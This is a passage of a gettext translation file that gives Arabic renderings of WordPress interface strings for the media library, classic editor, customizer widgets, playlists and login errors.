msgid "Close uploader"
msgstr "إغلاق أداة الرفع"

#: wp-includes/media-template.php:433
msgid "Uploaded on:"
msgstr "تم الرفع في:"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-editor.php:1917
msgid "Search or use up and down arrow keys to select an item."
msgstr "ابحث أو استخدم مفتاحي الأسهم للأعلى أو الأسفل لتحديد عنصر."

#. translators: %s: Maximum allowed file size.
#: wp-includes/media-template.php:296 wp-admin/includes/media.php:2289
msgid "Maximum upload file size: %s."
msgstr "الحد الأقصى لحجم الملف المراد رفعه: %s."

#: wp-includes/media-template.php:435 wp-admin/includes/media.php:3316
#: wp-admin/includes/media.php:3318
msgid "Uploaded by:"
msgstr "تم الرفع بواسطة:"

#: wp-includes/media-template.php:444 wp-admin/includes/media.php:3331
#: wp-admin/includes/media.php:3333
msgid "Uploaded to:"
msgstr "تمّ رفعها إلى:"

#. translators: %s: The site/panel title in the Customizer.
#: wp-includes/class-wp-customize-panel.php:386
#: wp-includes/customize/class-wp-customize-nav-menus-panel.php:83
#: wp-admin/customize.php:235
msgid "You are customizing %s"
msgstr "أنت الآن تقوم بتخصيص %s"

#: wp-includes/class-wp-customize-widgets.php:420
msgid "Widgets are independent sections of content that can be placed into widgetized areas provided by your theme (commonly called sidebars)."
msgstr "الودجات هي أقسام مستقلة للمحتوى، يمكن وضعها في مناطق يتم تحديدها من قبل القالب (معروفة باسم الأشرطة الجانبية)."

#: wp-includes/comment.php:3678
msgid "<strong>Error:</strong> The comment could not be saved. Please try again later."
msgstr "<strong>خطأ:</strong> تعذّر حفظ التعليق. يُرجى المحاولة لاحقاً."

#: wp-includes/update.php:208 wp-includes/update.php:446
#: wp-includes/update.php:727 wp-admin/includes/plugin-install.php:182
#: wp-admin/includes/theme.php:570 wp-admin/includes/translation-install.php:67
#: wp-admin/includes/update.php:142
msgid "(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)"
msgstr "(تعذّر على ووردبريس تأسيس اتصال آمن مع WordPress.org. يرجى الاتصال بمسؤول الخادم الخاص بك.)"

#: wp-includes/class-wp-customize-widgets.php:1290
msgid "Shift-click to edit this widget."
msgstr "نقرة مع Shift لتحرير هذا الودجت."

#: wp-includes/class-wp-editor.php:1149
msgctxt "HTML tag"
msgid "Address"
msgstr "عنوان"

#: wp-includes/class-wp-editor.php:1359
msgid "If you are looking to paste rich content from Microsoft Word, try turning this option off. The editor will clean up text pasted from Word automatically."
msgstr "إذا كنت تنوي لصق محتوى منسق من مايكروسوفت وورد، حاول إيقاف هذا الخيار لأن المحرّر سيقوم بإلغاء تنسيق النص الذي تم لصقه من مايكروسوفت وورد تلقائيًا."

#: wp-includes/class-wp-editor.php:1394 wp-admin/user-edit.php:330
msgid "Keyboard Shortcuts"
msgstr "اختصارات لوحة المفاتيح"

#. translators: 1: Browser cookie documentation URL, 2: Support forums URL.
#: wp-login.php:1249
msgid "<strong>Error:</strong> Cookies are blocked due to unexpected output. For help, please see <a href=\"%1$s\">this documentation</a> or try the <a href=\"%2$s\">support forums</a>."
msgstr "<strong>خطأ:</strong> ملفات الكوكيز محظورة لسبب ما غير متوقّع . للحصول على مساعدة، يرجى الاطلاّع على <a href=\"%1$s\">هذه الوثيقة</a> أو اللجوء إلى <a href=\"%2$s\">منتديات الدعم</a>."

#. translators: %s: Browser cookie documentation URL.
#: wp-login.php:1260
msgid "<strong>Error:</strong> Cookies are blocked or not supported by your browser. You must <a href=\"%s\">enable cookies</a> to use WordPress."
msgstr "<strong>خطأ:</strong> ملفات الكوكيز محظورة أو غير مدعومة من قبل متصفحك. يجب عليك <a href=\"%s\">تفعيل الكوكيز</a> لاستخدام ووردبريس."

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-date-time-control.php:164
#: wp-includes/media.php:3011 wp-includes/js/dist/block-library.js:2021
#: wp-includes/js/dist/components.js:54128 wp-admin/includes/template.php:853
msgid "Year"
msgstr "عام"

#: wp-includes/media-template.php:1234
msgid "Advanced Options"
msgstr "خيارات متقدمة"

#: wp-includes/media.php:4672
msgid "There has been an error cropping your image."
msgstr "حصل خطأ أثناء قص الصورة."

#: wp-includes/media.php:4693
msgid "Insert audio playlist"
msgstr "أدرج قائمة تشغيل صوت"

#: wp-includes/media-template.php:518 wp-includes/media-template.php:763
#: wp-includes/media.php:3005
msgid "Artist"
msgstr "فنّان"

#: wp-includes/media-template.php:519 wp-includes/media-template.php:764
#: wp-includes/media.php:3006
msgid "Album"
msgstr "ألبوم"

#: wp-includes/media.php:3010
msgid "Genre"
msgstr "نوع"

#: wp-includes/media.php:3012
msgctxt "video or audio"
msgid "Length"
msgstr "مدّة"

#: wp-includes/class-wp-editor.php:1161
msgid "Font Family"
msgstr "عائلة الخط"

#: wp-includes/class-wp-editor.php:1333
msgctxt "table cell alignment attribute"
msgid "None"
msgstr "لا شيء"

#: wp-includes/media-template.php:1186 wp-includes/js/dist/components.js:57446
msgid "Custom Size"
msgstr "تخصيص الحجم"

#: wp-includes/media.php:4695
msgid "Add to audio playlist"
msgstr "إضافة ملفات إلى قائمة التشغيل الصوتية"

#: wp-includes/media.php:4696
msgid "Add to Audio Playlist"
msgstr "أضف ملفات لقائمة التشغيل الصوتية"

#: wp-includes/media.php:4694
msgid "Update audio playlist"
msgstr "تحديث قائمة التشغيل الصوتية"

#: wp-includes/media-template.php:1268
msgid "Edit Original"
msgstr "تحرير الأصل"

#: wp-includes/media-template.php:1238
#: wp-includes/widgets/class-wp-widget-media-image.php:152
msgid "Image Title Attribute"
msgstr "سمة عنوان الصورة (title)"

#: wp-includes/media-template.php:1242
#: wp-includes/widgets/class-wp-widget-media-image.php:121
msgid "Image CSS Class"
msgstr "فئة الصورة (class)"

#: wp-includes/media-template.php:1256
#: wp-includes/widgets/class-wp-widget-media-image.php:130
#: wp-includes/js/dist/block-editor.js:51290
msgid "Link CSS Class"
msgstr "فئة الرابط (class)"

#: wp-includes/class-wp-editor.php:1323
msgid "Split table cell"
msgstr "إفصل خلايا الجدول"

#: wp-includes/class-wp-editor.php:1162
msgid "Font Sizes"
msgstr "أحجام الخط"

#: wp-includes/media-template.php:1133
#: wp-includes/js/dist/block-library.js:46806
msgid "Display Settings"
msgstr "إعدادات العرض"

#: wp-includes/media.php:4692
msgid "&#8592; Cancel audio playlist"
msgstr "&#8592; إلغاء قائمة التشغيل الصوتية"

#: wp-includes/media.php:4691
msgid "Edit audio playlist"
msgstr "تحرير قائمة تشغيل الصوت"

#: wp-includes/media-template.php:1007
msgid "Show Video List"
msgstr "إظهار قائمة الفيديو"

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-header-image-control.php:139
msgid "Set image"
msgstr "تعيين صورة"

#: wp-includes/class-wp-customize-widgets.php:730
msgctxt "Move widget"
msgid "Move"
msgstr "نقل"

#: wp-includes/class-wp-customize-widgets.php:802
msgid "Save and preview changes before publishing them."
msgstr "احفظ وشاهد التغييرات قبل نشرها."

#: wp-includes/class-wp-editor.php:1134
msgctxt "TinyMCE"
msgid "Headings"
msgstr "الترويسات"

#: wp-includes/class-wp-customize-widgets.php:918
msgid "Search widgets&hellip;"
msgstr "بحث في الودجات&hellip;"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-widgets.php:915
msgid "Search Widgets"
msgstr "بحث في الودجات"

#: wp-includes/media-template.php:1342 wp-includes/media-template.php:1441
msgctxt "auto preload"
msgid "Auto"
msgstr "تلقائي"

#: wp-includes/media.php:4669
msgid "Cropping&hellip;"
msgstr "قص&hellip;"

#: wp-includes/class-wp-customize-widgets.php:721
msgid "Move to another area&hellip;"
msgstr "نقل إلى منطقة أخرى&hellip;"

#: wp-includes/media-template.php:1467 wp-includes/media-template.php:1483
#: wp-includes/widgets/class-wp-widget-media-video.php:87
msgid "Tracks (subtitles, captions, descriptions, chapters, or metadata)"
msgstr "المسارات (ترجمات، كلمات توضيحية، أوصاف، فصول، أو أي بيانات وصفية)"

#: wp-includes/class-wp-editor.php:1183 wp-includes/script-loader.php:745
msgid "Bulleted list"
msgstr "قائمة نقطية"

#: wp-includes/class-wp-editor.php:1196
msgctxt "Name of link anchor (TinyMCE)"
msgid "Name"
msgstr "اسم"

#: wp-includes/class-wp-editor.php:1240
msgctxt "editor button"
msgid "Right to left"
msgstr "محاذاة من اليمين لليسار"

#: wp-includes/class-wp-editor.php:1241
#: wp-includes/js/dist/block-library.js:36627
msgctxt "editor button"
msgid "Left to right"
msgstr "محاذاة من اليسار لليمين"

#: wp-includes/class-wp-editor.php:1278
msgctxt "find/replace"
msgid "Replace"
msgstr "استبدل"

#: wp-includes/class-wp-editor.php:1279
msgctxt "find/replace"
msgid "Next"
msgstr "التالي"

#. translators: Previous.
#: wp-includes/class-wp-editor.php:1281
msgctxt "find/replace"
msgid "Prev"
msgstr "السابق"

#: wp-includes/class-wp-editor.php:1285
msgctxt "find/replace"
msgid "Find"
msgstr "إيجاد"

#: wp-includes/class-wp-editor.php:1286
msgctxt "find/replace"
msgid "Replace all"
msgstr "استبدال الكل"

#: wp-includes/class-wp-editor.php:1290
msgctxt "spellcheck"
msgid "Ignore all"
msgstr "تجاهل الكل"

#: wp-includes/class-wp-editor.php:1291
msgctxt "spellcheck"
msgid "Ignore"
msgstr "تجاهل"

#: wp-includes/class-wp-editor.php:1306
msgctxt "table cell"
msgid "Cell"
msgstr "خلية"

#: wp-includes/class-wp-editor.php:1310
msgctxt "table footer"
msgid "Footer"
msgstr "تذييل"

#: wp-includes/class-wp-editor.php:1369
msgctxt "TinyMCE menu"
msgid "Insert"
msgstr "إدراج"

#: wp-includes/class-wp-editor.php:1370
msgctxt "TinyMCE menu"
msgid "File"
msgstr "ملف"

#: wp-includes/class-wp-editor.php:1371
msgctxt "TinyMCE menu"
msgid "Edit"
msgstr "تحرير"

#: wp-includes/class-wp-editor.php:1372
msgctxt "TinyMCE menu"
msgid "Tools"
msgstr "أدوات"

#: wp-includes/class-wp-editor.php:1373
msgctxt "TinyMCE menu"
msgid "View"
msgstr "عرض"

#: wp-includes/class-wp-editor.php:1374
msgctxt "TinyMCE menu"
msgid "Table"
msgstr "جدول"

#: wp-includes/class-wp-editor.php:1284
msgctxt "find/replace"
msgid "Replace with"
msgstr "استبدل بـ"

#: wp-includes/class-wp-editor.php:1289
msgctxt "spellcheck"
msgid "Finish"
msgstr "إنهاء"

#: wp-includes/class-wp-editor.php:1347
msgctxt "TinyMCE"
msgid "Insert template"
msgstr "إدراج قالب"

#: wp-includes/class-wp-editor.php:1185
msgctxt "list style"
msgid "Square"
msgstr "مربع"

#: wp-includes/class-wp-editor.php:1187
msgctxt "list style"
msgid "Circle"
msgstr "دائرة"

#: wp-includes/class-wp-editor.php:1282
msgctxt "find/replace"
msgid "Whole words"
msgstr "كافة الكلمات"

#. translators: Word count.
#: wp-includes/class-wp-editor.php:1356
msgid "Words: %s"
msgstr "كلمات: %s"

#: wp-includes/class-wp-editor.php:1146
msgctxt "HTML tag"
msgid "Div"
msgstr "Div"

#: wp-includes/class-wp-editor.php:1348
msgctxt "TinyMCE"
msgid "Templates"
msgstr "القوالب"

#: wp-includes/class-wp-editor.php:1132
msgctxt "TinyMCE"
msgid "Formats"
msgstr "التنسيقات"

#: wp-includes/class-wp-editor.php:1345
msgctxt "table cell scope attribute"
msgid "Scope"
msgstr "النطاق"

#: wp-includes/class-wp-editor.php:1308
msgctxt "table header"
msgid "Header"
msgstr "الترويسة"

#: wp-includes/class-wp-editor.php:1309
msgctxt "table body"
msgid "Body"
msgstr "الجسم"

#: wp-includes/class-wp-editor.php:1151
msgctxt "HTML elements"
msgid "Inline"
msgstr "مضمنة"

#: wp-includes/class-wp-editor.php:1197
msgctxt "Link anchor (TinyMCE)"
msgid "Anchor"
msgstr "رابط"

#: wp-includes/class-wp-editor.php:1198
msgctxt "Link anchors (TinyMCE)"
msgid "Anchors"
msgstr "الروابط"

#. translators: Block tags.
#: wp-includes/class-wp-editor.php:1143
msgctxt "TinyMCE"
msgid "Blocks"
msgstr "الكُتل"

#: wp-includes/class-wp-editor.php:1189
msgctxt "list style"
msgid "Lower Greek"
msgstr "أحرف يونانية صغيرة"

#: wp-includes/class-wp-editor.php:1193
msgctxt "list style"
msgid "Lower Roman"
msgstr "أحرف رومانية صغيرة"

#: wp-includes/class-wp-editor.php:1192
msgctxt "list style"
msgid "Upper Roman"
msgstr "أحرف رومانية كبيرة"

#: wp-includes/class-wp-editor.php:1190
msgctxt "list style"
msgid "Lower Alpha"
msgstr "أحرف إنجليزية صغيرة"

#: wp-includes/class-wp-editor.php:1191
msgctxt "list style"
msgid "Upper Alpha"
msgstr "أحرف إنجليزية كبيرة"

#: wp-includes/class-wp-editor.php:1188
msgctxt "list style"
msgid "Disc"
msgstr "قرص"

#: wp-includes/class-wp-editor.php:1147
msgctxt "HTML tag"
msgid "Pre"
msgstr "مهيأ مسبقاً"

#: wp-includes/class-wp-editor.php:1352
msgctxt "editor button"
msgid "Show blocks"
msgstr "أظهر المكوّنات"

#: wp-includes/media-template.php:1327 wp-includes/media-template.php:1418
msgid "Add alternate sources for maximum HTML5 playback"
msgstr "أضف مصادر بديلة لتشغيل HTML5 الأقصى"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-nav-menus.php:1150
#: wp-includes/class-wp-customize-panel.php:379
#: wp-includes/class-wp-customize-section.php:374
#: wp-includes/class-wp-customize-widgets.php:897
#: wp-includes/customize/class-wp-customize-nav-menus-panel.php:75
#: wp-includes/customize/class-wp-customize-themes-panel.php:73
#: wp-includes/media.php:4590 wp-includes/js/dist/block-editor.js:23902
#: wp-includes/js/dist/components.js:59613
#: wp-includes/js/dist/edit-post.js:3975 wp-includes/js/dist/edit-post.js:5477
#: wp-includes/js/dist/edit-site.js:5671 wp-includes/js/dist/edit-site.js:13797
#: wp-admin/includes/ms.php:49 wp-admin/theme-install.php:61
msgid "Back"
msgstr "رجوع"

#: wp-includes/media-template.php:996
msgid "Playlist Settings"
msgstr "إعدادات قائمة التشغيل"

#: wp-includes/widgets/class-wp-widget-search.php:31
msgctxt "Search widget"
msgid "Search"
msgstr "بحث"

#: wp-includes/media-template.php:1020
msgid "Show Artist Name in Tracklist"
msgstr "عرض اسم الفنان في قائمة المسارات"

#: wp-includes/media-template.php:1009
msgid "Show Tracklist"
msgstr "عرض قائمة المسارات"

#: wp-includes/media-template.php:1030
msgid "Show Images"
msgstr "عرض الصور"

#: wp-includes/media-template.php:1343 wp-includes/media-template.php:1442
#: wp-includes/js/dist/block-library.js:3322
#: wp-includes/js/dist/block-library.js:56203
#: wp-includes/js/dist/block-library.js:56329
#: wp-admin/includes/meta-boxes.php:1585
msgid "Metadata"
msgstr "البيانات الوصفية"

#: wp-includes/media-template.php:1431
msgid "Poster Image"
msgstr "صورة الملصق"

#: wp-includes/media.php:4607
msgid "Create a new playlist"
msgstr "إنشاء قائمة تشغيل جديدة"

#: wp-includes/media.php:4608
msgid "Create a new video playlist"
msgstr "إنشاء قائمة تشغيل فيديو جديدة"

#: wp-includes/media.php:4703
msgid "Insert video playlist"
msgstr "إدراج قائمة تشغيل الفيديو"

#: wp-includes/nav-menu.php:433
msgid "Invalid menu ID."
msgstr "معرّف القائمة (ID) غير صالح."

#: wp-includes/media-template.php:1352 wp-includes/media-template.php:1451
#: wp-includes/js/dist/block-library.js:3298
#: wp-includes/js/dist/block-library.js:56254
msgid "Autoplay"
msgstr "تشغيل تلقائي"

#: wp-includes/media.php:4704
msgid "Update video playlist"
msgstr "تحديث قائمة تشغيل الفيديو"

#: wp-includes/media.php:4705
msgid "Add to video playlist"
msgstr "إضافة إلى قائمة تشغيل الفيديو"

#: wp-includes/media.php:4668
msgid "Crop your image"
msgstr "قص الصورة"

#: wp-includes/media-template.php:1484
msgid "There are no associated subtitles."
msgstr "لا توجد ترجمات مرتبطة."

#. translators: %s: wpdb::prepare()
#: wp-includes/class-wpdb.php:1506
msgid "The query argument of %s must have a placeholder."
msgstr "معامل الإستعلام للدالة %s يجب أن يحتوي على عنصر نائب."

#: wp-includes/media.php:4689
msgid "Drag and drop to reorder tracks."
msgstr "إسحب وأفلت لإعادة ترتيب المسارات."

#: wp-includes/media.php:4699
msgid "Drag and drop to reorder videos."
msgstr "إسحب وأفلت لإعادة ترتيب ملفات الفيديو."

#: wp-includes/user.php:2836
msgid "Hint: The password should be at least twelve characters long. To make it stronger, use upper and lower case letters, numbers, and symbols like ! \" ? $ % ^ &amp; )."
msgstr "تلميح: يفضّل أن تتكوّن كلمة المرور من 12 رمز على الأقل. لجعلها أقوى، استخدم الحروف الكبيرة والصغيرة، الأرقام والرموز مثل ! \" ? $ % ^ &amp; )."

#: wp-includes/media.php:4665
msgid "Select and crop"
msgstr "تحديد وقصّ"

#: wp-includes/media.php:4683
msgid "Add video source"
msgstr "إضافة مصدر الفيديو"

#: wp-includes/media.php:4677
msgid "Add audio source"
msgstr "إضافة مصدر الملف الصوتي"

#: wp-includes/media.php:4702
msgid "&#8592; Cancel video playlist"
msgstr "&#8592; إلغاء قائمة تشغيل الفيديو"

#: wp-includes/media.php:4706
msgid "Add to video Playlist"
msgstr "إضافة إلى قائمة تشغيل الفيديو"

#: wp-includes/media.php:4700
msgid "Create video playlist"
msgstr "إنشاء قائمة تشغيل فيديو"

#: wp-includes/media.php:4690
msgid "Create audio playlist"
msgstr "إنشاء قائمة تشغيل صوتية"

#: wp-includes/media.php:4666
msgid "Skip cropping"
msgstr "تخطي القص"

#: wp-includes/media.php:4701
msgid "Edit video playlist"
msgstr "تحرير قائمة تشغيل الفيديو"

#: wp-includes/media.php:4681
msgid "Video details"
msgstr "تفاصيل الفيديو"

#: wp-includes/media.php:4682
msgid "Replace video"
msgstr "استبدال الفيديو"

#: wp-includes/media.php:4686
msgid "Add subtitles"
msgstr "إضافة ترجمات"

#: wp-includes/media.php:4667
msgid "Crop image"
msgstr "قص صورة"

#: wp-includes/media.php:4675
msgid "Audio details"
msgstr "تفاصيل الصوت"

#: wp-includes/media.php:4676
msgid "Replace audio"
msgstr "استبدال الصوت"

#: wp-includes/media.php:4660 wp-includes/media.php:4678
#: wp-includes/media.php:4684
msgid "Cancel edit"
msgstr "إلغاء التحرير"

#: wp-includes/media.php:4658
msgid "Image details"
msgstr "تفاصيل الصورة"

#: wp-includes/class-wp-editor.php:1184 wp-includes/script-loader.php:747
msgid "Numbered list"
msgstr "قائمة مرقّمة"

#: wp-includes/class-wp-editor.php:1250
msgid "Horizontal line"
msgstr "خط أفقي"

#: wp-includes/class-wp-editor.php:1245
msgid "Paste as text"
msgstr "لصق كنص"

#: wp-includes/class-wp-editor.php:1168
msgid "Increase indent"
msgstr "زيادة المسافة البادئة"

#: wp-includes/class-wp-editor.php:1169
msgid "Decrease indent"
msgstr "إنقاص المسافة البادئة"

#: wp-includes/class-wp-editor.php:1351 wp-includes/js/dist/edit-site.js:11739
msgid "Text color"
msgstr "لون النص"

#: wp-includes/class-wp-editor.php:1350 wp-includes/js/dist/edit-site.js:11751
msgid "Background color"
msgstr "لون الخلفية"

#: wp-includes/class-wp-editor.php:1165
#: wp-includes/js/dist/block-editor.js:15393
msgid "Align right"
msgstr "محاذاة لليمين"

#: wp-includes/class-wp-editor.php:1164
#: wp-includes/js/dist/block-editor.js:15389
msgid "Align center"
msgstr "محاذاة للوسط"

#: wp-includes/class-wp-editor.php:1166
#: wp-includes/js/dist/block-editor.js:15385
msgid "Align left"
msgstr "محاذاة لليسار"

#: wp-includes/class-wp-editor.php:1156
msgid "Clear formatting"
msgstr "إزالة التنسيق"

#: wp-includes/class-wp-editor.php:1340
msgid "Column group"
msgstr "مجموعة العمود"

#: wp-includes/class-wp-editor.php:1378
msgid "Toolbar Toggle"
msgstr "تبديل شريط الأدوات"

#: wp-includes/class-wp-editor.php:1224 wp-includes/script-loader.php:744
msgid "Insert image"
msgstr "إدراج صورة"

#: wp-includes/class-wp-editor.php:1233
msgid "Alternative source"
msgstr "مصدر بديل"

#: wp-includes/class-wp-editor.php:1222 wp-includes/js/dist/components.js:37741
msgid "Style"
msgstr "نمط"

#: wp-includes/class-wp-editor.php:1207
msgid "Keywords"
msgstr "كلمات مفتاحية"

#: wp-includes/class-wp-customize-widgets.php:805
#: wp-admin/includes/ajax-actions.php:1088
#: wp-admin/includes/ajax-actions.php:2353 wp-admin/js/media.js:127
#: wp-admin/js/media.js:132 wp-admin/js/updates.js:1949
msgid "An error has occurred. Please reload the page and try again."
msgstr "حدث خطأ. يرجى إعادة تحميل الصفحة والمحاولة مرة أخرى."

#: wp-includes/class-wp-editor.php:1167
msgid "Justify"
msgstr "محاذاة بالتساوي"

#: wp-includes/class-wp-editor.php:1252
msgid "Restore last draft"
msgstr "استعادة آخر مسودة"

#: wp-includes/class-wp-editor.php:1160
msgid "Source code"
msgstr "شفرة المصدر"

#: wp-includes/class-wp-editor.php:1234
msgid "Paste your embed code below:"
msgstr "لصق الشفرة المضمنة أدناه:"

#: wp-includes/class-wp-editor.php:1235
msgid "Insert video"
msgstr "إدراج فيديو"

#: wp-includes/class-wp-editor.php:1236
msgid "Embed"
msgstr "تضمين"

#: wp-includes/media-template.php:1269 wp-includes/media.php:4588
#: wp-includes/js/dist/block-editor.js:47824
#: wp-includes/js/dist/block-library.js:13674
#: wp-includes/js/dist/block-library.js:42488
#: wp-includes/js/dist/block-library.js:56830
msgid "Replace"
msgstr "استبدال"

#: wp-includes/class-wp-editor.php:1341
msgid "Row type"
msgstr "نوع الصف"

#: wp-includes/class-wp-editor.php:1295
msgid "Insert table"
msgstr "إدراج جدول"

#: wp-includes/class-wp-editor.php:1342
msgid "Cell type"
msgstr "نوع الخلية"

#: wp-includes/class-wp-editor.php:1339
msgid "Row group"
msgstr "مجموعة الصف"

#: wp-includes/class-wp-editor.php:1319
#: wp-includes/js/dist/block-library.js:52538
msgid "Delete column"
msgstr "حذف عمود"

#: wp-includes/customize/class-wp-customize-header-image-control.php:241
msgid "Current header"
msgstr "الترويسة الحالية"

#: wp-includes/class-wp-editor.php:1344
msgid "Cell spacing"
msgstr "المسافة بين الخلايا"

#: wp-includes/class-wp-editor.php:1343
msgid "Cell padding"
msgstr "الحشو (Padding) في الخلايا"

#: wp-includes/class-wp-editor.php:1303
msgid "Rows"
msgstr "صفوف"

#: wp-includes/class-wp-editor.php:1208
msgid "Encoding"
msgstr "ترميز"

#: wp-includes/admin-bar.php:198
msgid "https://wordpress.org/support/forum/requests-and-feedback"
msgstr "https://wordpress.org/support/forum/requests-and-feedback"

#: wp-includes/class-wp-editor.php:1379 wp-includes/script-loader.php:753
msgid "Insert Read More tag"
msgstr "أدرج فاصل اقرأ المزيد"

#: wp-includes/class-wp-editor.php:1239
msgid "Special character"
msgstr "رمز خاص"

#: wp-includes/class-wp-editor.php:1358
msgid "Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off."
msgstr "لصق المحتوى يتم الآن في وضع النص العادي. سيتم لصق المحتويات كنص عادي طالما لم تقم بإيقاف هذا الخيار."

#: wp-includes/customize/class-wp-customize-header-image-control.php:180
msgid "No image set"
msgstr "لم يتم تعيين صورة"

#: wp-includes/customize/class-wp-customize-header-image-control.php:262
msgctxt "custom headers"
msgid "Suggested"
msgstr "مقترحة"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-nav-menus.php:1095
#: wp-includes/class-wp-customize-widgets.php:722
#: wp-includes/js/dist/block-editor.js:27718
#: wp-admin/includes/class-walker-nav-menu-edit.php:164
#: wp-admin/includes/template.php:1404
msgid "Move down"
msgstr "تحريك للأسفل"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-nav-menus.php:1094
#: wp-includes/class-wp-customize-widgets.php:723
#: wp-includes/js/dist/block-editor.js:27712
#: wp-admin/includes/class-walker-nav-menu-edit.php:147
#: wp-admin/includes/template.php:1391
msgid "Move up"
msgstr "تحريك للأعلى"

#: wp-includes/class-wp-editor.php:1226
msgid "Insert date/time"
msgstr "إدراج التاريخ/الوقت"

#: wp-includes/class-wp-editor.php:1353
msgid "Show invisible characters"
msgstr "عرض الحروف غير المرئية"

#: wp-includes/class-wp-editor.php:1242
msgid "Emoticons"
msgstr "أيقونات تعبيرية"

#: wp-includes/class-wp-editor.php:1283
msgid "Find and replace"
msgstr "بحث واستبدال"

#: wp-includes/class-wp-editor.php:1244
#: wp-includes/js/dist/block-library.js:35304
msgid "Page break"
msgstr "فاصل الصفحة"

#: wp-includes/class-wp-editor.php:1277
msgid "Could not find the specified string."
msgstr "تعذّر العثور على السلسلة المحدّدة."

#: wp-includes/class-wp-editor.php:1181
msgid "Visual aids"
msgstr "الوسائل المرئية"

#: wp-includes/class-wp-editor.php:1287
msgid "Match case"
msgstr "طابق حالة الأحرف"

#: wp-includes/class-wp-editor.php:1243
msgid "Nonbreaking space"
msgstr "مساحة غير فاصلة"

#: wp-includes/class-wp-editor.php:1307
msgid "Header cell"
msgstr "خلايا الترويسة"

#: wp-includes/class-wp-editor.php:1205
msgid "Robots"
msgstr "الروبوتات"

#: wp-includes/class-wp-customize-widgets.php:908
#: wp-includes/customize/class-wp-widget-area-customize-control.php:57
msgid "Add a Widget"
msgstr "أضف ودجت"

#: wp-includes/class-wp-customize-widgets.php:729
msgid "Select an area to move this widget into:"
msgstr "حدّد منطقة لنقل هذا الودجت إليها:"

#: wp-includes/customize/class-wp-customize-header-image-control.php:125
msgid "Randomize uploaded headers"
msgstr "اختر عشوائياً من الترويسات المرفوعة"

#: wp-includes/customize/class-wp-customize-header-image-control.php:127
msgid "Randomize suggested headers"
msgstr "اختر عشوائياً من الترويسات المقترحة"

#: wp-includes/customize/class-wp-customize-header-image-control.php:166
msgid "Randomizing uploaded headers"
msgstr "يختار عشوائياً من الترويسات المرفوعة"

#: wp-includes/customize/class-wp-customize-header-image-control.php:168
msgid "Randomizing suggested headers"
msgstr "يختار عشوائياً من الترويسات المقترحة"

#: wp-includes/customize/class-wp-customize-header-image-control.php:255
msgctxt "custom headers"
msgid "Previously uploaded"
msgstr "تمّ رفعها مسبقاً"

#: wp-includes/class-wp-editor.php:1260
msgid "New window"
msgstr "نافذة جديدة"

#: wp-includes/class-wp-editor.php:1261
msgid "Text to display"
msgstr "نص للعرض"

#: wp-includes/customize/class-wp-customize-nav-menu-control.php:56
#: wp-includes/customize/class-wp-widget-area-customize-control.php:60
msgid "Reorder"
msgstr "إعادة الترتيب"

#: wp-includes/script-loader.php:1062
msgid "Finnish"
msgstr "الفنلندية"

#: wp-includes/js/dist/editor.js:7795 wp-admin/includes/ajax-actions.php:2231
#: wp-admin/includes/class-wp-posts-list-table.php:1935
#: wp-admin/includes/class-wp-privacy-requests-table.php:44
msgid "Status"
msgstr "الحالة"

#: wp-includes/js/dist/block-editor.js:50906
#: wp-includes/js/dist/block-editor.js:50914
#: wp-includes/js/dist/block-library.js:30382
#: wp-includes/js/dist/components.js:65960
#: wp-includes/js/dist/customize-widgets.js:1395
#: wp-includes/js/dist/edit-post.js:3560 wp-includes/js/dist/edit-site.js:16446
#: wp-includes/js/dist/edit-widgets.js:3892 wp-admin/menu.php:370
#: wp-admin/tools.php:43
msgid "Tools"
msgstr "أدوات"

#. translators: ARIA label for the Block Settings Sidebar tab, not selected.
#. translators: Text label for the Block Settings Sidebar tab.
#: wp-includes/widgets/class-wp-widget-block.php:45
#: wp-includes/js/dist/edit-post.js:6941 wp-includes/js/dist/edit-post.js:6960
#: wp-includes/js/dist/edit-post.js:6962 wp-includes/js/dist/edit-site.js:13051
#: wp-includes/js/dist/edit-site.js:13066
#: wp-includes/js/dist/edit-site.js:13068
#: wp-includes/js/dist/edit-widgets.js:3350
msgid "Block"
msgstr "المكوّن"

#. translators: accessibility text for the footer landmark region.
#: wp-includes/block-template-utils.php:86
#: wp-includes/js/dist/edit-post.js:1761 wp-includes/js/dist/edit-site.js:2349
#: wp-includes/js/dist/edit-widgets.js:1326
msgid "Footer"
msgstr "تذييل"

#: wp-login.php:377 wp-admin/includes/class-wp-users-list-table.php:318
msgid "Change"
msgstr "تغيير"

#: wp-includes/general-template.php:4801
msgctxt "admin color scheme"
msgid "Ocean"
msgstr "المحيط"

#: wp-includes/general-template.php:4813
msgctxt "admin color scheme"
msgid "Coffee"
msgstr "القهوة"

#: wp-includes/general-template.php:4777
msgctxt "admin color scheme"
msgid "Sunrise"
msgstr "شروق الشمس"

#: wp-includes/general-template.php:4789
msgctxt "admin color scheme"
msgid "Ectoplasm"
msgstr "أكتوبلازما"

#: wp-includes/class-wp-image-editor.php:296
msgid "Attempted to set image quality outside of the range [1,100]."
msgstr "حاولت ضبط جودة الصورة خارج النطاق [1,100]."

#: wp-includes/widgets/class-wp-widget-search.php:27
msgid "A search form for your site."
msgstr "نموذج بحث لموقعك."

#: wp-includes/widgets/class-wp-widget-categories.php:27
msgid "A list or dropdown of categories."
msgstr "قائمة منسدلة بالتصنيفات."

#: wp-includes/widgets/class-wp-widget-recent-posts.php:27
msgid "Your site&#8217;s most recent Posts."
msgstr "أحدث مقالات موقعك."

#: wp-includes/widgets/class-wp-widget-recent-comments.php:27
msgid "Your site&#8217;s most recent comments."
msgstr "أحدث تعليقات موقعك."

#: wp-includes/widgets/class-wp-widget-rss.php:26
msgid "Entries from any RSS or Atom feed."
msgstr "مقالات من أي خلاصة RSS أو Atom."

#: wp-includes/widgets/class-wp-widget-pages.php:27
msgid "A list of your site&#8217;s Pages."
msgstr "قائمة بصفحات موقعك."

#: wp-includes/widgets/class-wp-widget-meta.php:29
msgid "Login, RSS, &amp; WordPress.org links."
msgstr "روابط تسجيل الدخول، RSS، و WordPress.org."

#: wp-includes/widgets/class-wp-widget-archives.php:27
msgid "A monthly archive of your site&#8217;s Posts."
msgstr "أرشيف شهري لمقالات موقعك."

